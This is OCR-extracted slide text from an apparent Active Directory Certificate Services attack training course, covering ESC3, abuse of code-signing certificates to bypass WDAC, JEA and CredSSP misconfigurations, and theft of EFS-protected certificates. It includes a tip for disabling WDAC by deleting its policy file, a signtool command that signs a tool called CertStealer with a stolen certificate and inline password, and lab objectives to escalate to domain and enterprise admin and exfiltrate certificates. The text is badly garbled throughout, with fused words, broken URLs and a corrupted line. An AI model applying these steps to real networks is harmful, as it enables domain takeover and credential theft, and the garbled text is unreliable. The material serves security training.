A Use thech)\ certstore  privileges gained in the previous objectives to abuse these
templates using ESC3 to:
T Escalate to DA privilegesfbulk.cb.corp ).
T Escalate to EA privileges.¢orp ).

Topics Covered Domain Privilege Escalation (ESC3)
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Module 15: AD CS Domain Privilegescalation
(Code Signing)




WDAC

A Windows Defender Application Control (WDAC), formerly known as Device Guard,
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code, drivers, and scripts.

A Al WDAC policies apply to the managed computer as a whole and affect all users
onthe device.
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WDAC an@dpplockerMicrosoft docshttps://learn.microsoft.com/en
us/windows/security/threatprotection/windowsdefenderapplicationcontrol/wdac
and-applockeroverview
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WDAC

A WDAC can be setudpcally(vulnerable to admin access) or usi@goup Policy
(secure).

A As per Microsoft docs, WDAC rules can be defined based on:
T Attributes of the codesigning certificate used to sign an app and its binaries.

T Attributes of the apps binaries that come from the signed metadata for the files, such as Original
Filename and version, or the hash of the file.

i The reputation of the app as determined by Microsoft's Intelligent Security Graph.
i The identity of the process that initiated the installation of the app and its binaries.
i The path from which the app or file is launched.

T The process that launched the app or binary.
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WDAC local setup Microsoft doc¢gtps://learn.microsoft.com/en
us/windows/security/threatprotection/windowsdefenderapplicatiorn
control/deployment/deploywdacpolicieswith-script

WDAC GPO setup Microsoft dogps://learn.microsoft.com/en
us/windows/security/threatprotection/windowsdefenderapplication
control/deployment/deploywindowsdefenderapplicatiorrcontrolpoliciesusing
group-policy
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WDAC

A WDAC example policies exist on Windows by default at:
C:\ Windows\ schemas\ Codelntegrity =\ ExamplePolicies

A An easy way to manage or edit WDAC policies is by usingyBeC Policy Wizard.

A WDAC once enforced puts a Policy Engine as a .p7b file at:
C:\ Windows\ System32 \ Codelntegrity

A A simple way to disable WDAC if setup locally is to delete the .p7b file and reboot
the machine (needs admin privileges).

A However, this wouldn't be applicable if WDAC was setup using GPO because the
WDAC configuration is applied again on reboot.
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WDAC Policy Wizargttps://webapp-wdacwizard.azurewebsites.net/
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Code Signing

A Code Signing ensures that files weren't tampered and are verified by a Trusted
Authority. Microsoft implements this using Authenticode Signatures.

A "Authenticodeidentifies the publisher of Authenticodsigned software.
Authenticode also verifies that the software has not been tampered with since it
was signed and published."

A A Code Signing certificate can be used to sign scripts, binaries, files etc. for trusted
execution. A Code Signing template can be configured in AD CS to distribute and
manage Code Signing certificates. For this the template requires:

T Code Signing-> 1.3.6.1.5.5.7.3.FKUs enabled.
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Authenticode Signature Microsoft dodsips://learn.microsoft.com/enrus/windows
hardware/drivers/install/authenticode
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AD CS Domaiprivesa; Code Signing

A Code signing withVDAC UseMode Code Integrity (UMC4)lows to validate user
mode executableand scripts based on their Certificate Signatures.

A Only signedtode from trusted publishers will be allowed to execute.

A If we can compromise a Code Signing certificate trusted by WDAC, it would be
possible to run such signed code (scripts, binaries etc.) on the target machine.

A An example to sign files using a Code Signing certificatesigitiool (part of .NET
framework) is as follows:

signtool.exe signfd SHA256 /a /f Ccerts SecureSigner.pfx /p 'PasswOrd!' CertStealer.e
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Blog showcasing Abusing Code Signing
Certificateshttps://axelarator.github.io/posts/codesigningcerts/?s=08
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JEA
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A JEA provides a PowerShell Remoting endpoint with:

b Virtual accounts temporary local accounts which are local admin on member machines and DA
on DCs but no rights to manage resources on network.

b Ability to limit the cmdlets and commands which a user can run through Role Capabilities.

A Limits number of administrators and allows limited admin tasks to be done by non
admins.
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https://learn.microsoft.com/en
us/powershell/scripting/learn/remoting/jea/overview




JEA: Role Capability

A A JEA endpoint uses Role Capability to determine what someone can do in a JEA
session.

A Multiple options are available:
T Visible PowerShell cmdlets and Parameters to allowed cmdlets
i Visible external commands and scripts
T Visible PowerShell ProvidefSileSystemRegistry etc.)
i PowerShell modules that will be automatically imported in the JEA session
A A poorly configured Role Capability (uses wildcard * in visible commands and/or
allows commands that can be used to make chandgjé&s net, StartProcess, Add
LocalGroupMembeetc.) may lead to compromise of the target machine as the
commands run with admin privileges.
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https://learn.microsoft.com/en
us/powershell/module/microsoft.powershell.core/neysrolecapabilityfile




JEA: Session Configuration

A A JEA endpoint is registered using a Session Configuration file.
A Major Session Configuration options:
I Who has access to the JEA endpoint (Role definition)
i Name of the JEA endpoint
i ldentity used by JEA endpoint (virtual accounts, domain groups, local ggig#\=tc.)
i PowerShelLanguageModéonly 8 helper cmdlets allowed in tidoLanguag&lode)

A A poorly configured Session Configuration (Overly permissive role definition, high
privilege identity etc.) may lead to compromise of the target machine.
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https://learn.microsoft.com/en
us/powershell/module/microsoft.powershell.core/neyssessionconfigurationfile




CredSSP

A CredSSm (wrongly) used by organizations to addressKeeberos double hop
issue.

A "CredSSRButhentication delegates user credentials from the client to a remote
computer to further allow the remote computer to reuse the credentials to
authenticate to a third computer.”

A However, it is not recommended to u€redSSPBecause if the machine is
compromised credentials cached ByedSSPan be extracted in cledext.

A In the labCredSSR configured on theb- signsrv ~ server.
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CredSSHRIlicrosoft docshttps://learn.microsoft.com/en
us/powershell/scripting/learn/remoting/psemoting-secondhop?view=powershell
7.3

Kerberos Double Hop Issugips://book.hacktricks.xyz/windowdardening/active
directory-methodoloqgy/kerberosdouble-hop-problem
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LearningObjective- 11

A GainPS Remotingccess tab- signsrv  usingcertbulk  \ studentadmin  privileges.
A Find a suitable Code Signing certificate by searching on disk (THEFT4).

A Use this Code Signing certificate to sign a tool to bypass WDAC and perform valid
Code Execution to exfiltrate a certificate from (THEFT1) the CeseBtore

Topics Covered Domain Privilege Escalation (Code Signing), Theft and Collection (THEFT1 + THEFT4|
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Module 16: AD CS Domain Privilege Escalation
(Encrypted File System)




AD CS Domain Prives&ncrypted File System

A "Encrypted File System (EFS) is a Microsoft technology that lets you encrypt data d
your computer, and control who can decrypt, recover and view the data.”

A Encrypting a file with EFS denies access to unauthorized users/an attacker who ha
access to the computers data even if the user is a high privilege user.

A To use EFS for encryption, an EFS certificate is required to be imported into the
OdzZNNBy i dzaSNXa / SNIAFAOFGS {i2NB I yR

A A recovery agent is required to read or recover data encrypted usingTFES
default DA is a recovery agent in a domain.
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Protecting Data by Using EFS Microsoft dbtigs://learn.microsoft.com/en
us/previousversions/trrarchive/cc875821(v=technet.]0
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AD CS Domain Prives&ncrypted File System

A Two types of certificates play a role in EFS:

T Encrypting File System certificates> 1.3.6.1.4.1.311.10.3.&his type of certificate uses EFS to
encrypt and decrypt data and is called as an EFS certificate.

i File Recovery certificates> 1.3.6.1.4.1.311.10.3.4.This type of certificate allows to recover all
encrypted files and folders (domain or offline) no matter who encrypted them and is called as an
EFS DRA (Data Recovery Agent) certificate.

A Microsoft details two methods to perform decryption operations:
i Retrieve the originaEFS certificatased to encrypthe file and import it in the targetomputer
certificate store.
T Use arEFS DReertificate to restore an EF&ncrypted file if the original EFS certificate used
to encrypt the file is lost.
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Learning Objective 12

A Gainadmin access teb- signsrv  usingcertbulk  \ signadmin  privileges.

A Find(THEFT4nd decrypt an EFS protected certificatedisk which belongs to a
high privileged user.

Topics Covered Domain Privilege Escalation (Encrypted File System), Theft and Collection (THEFT4)
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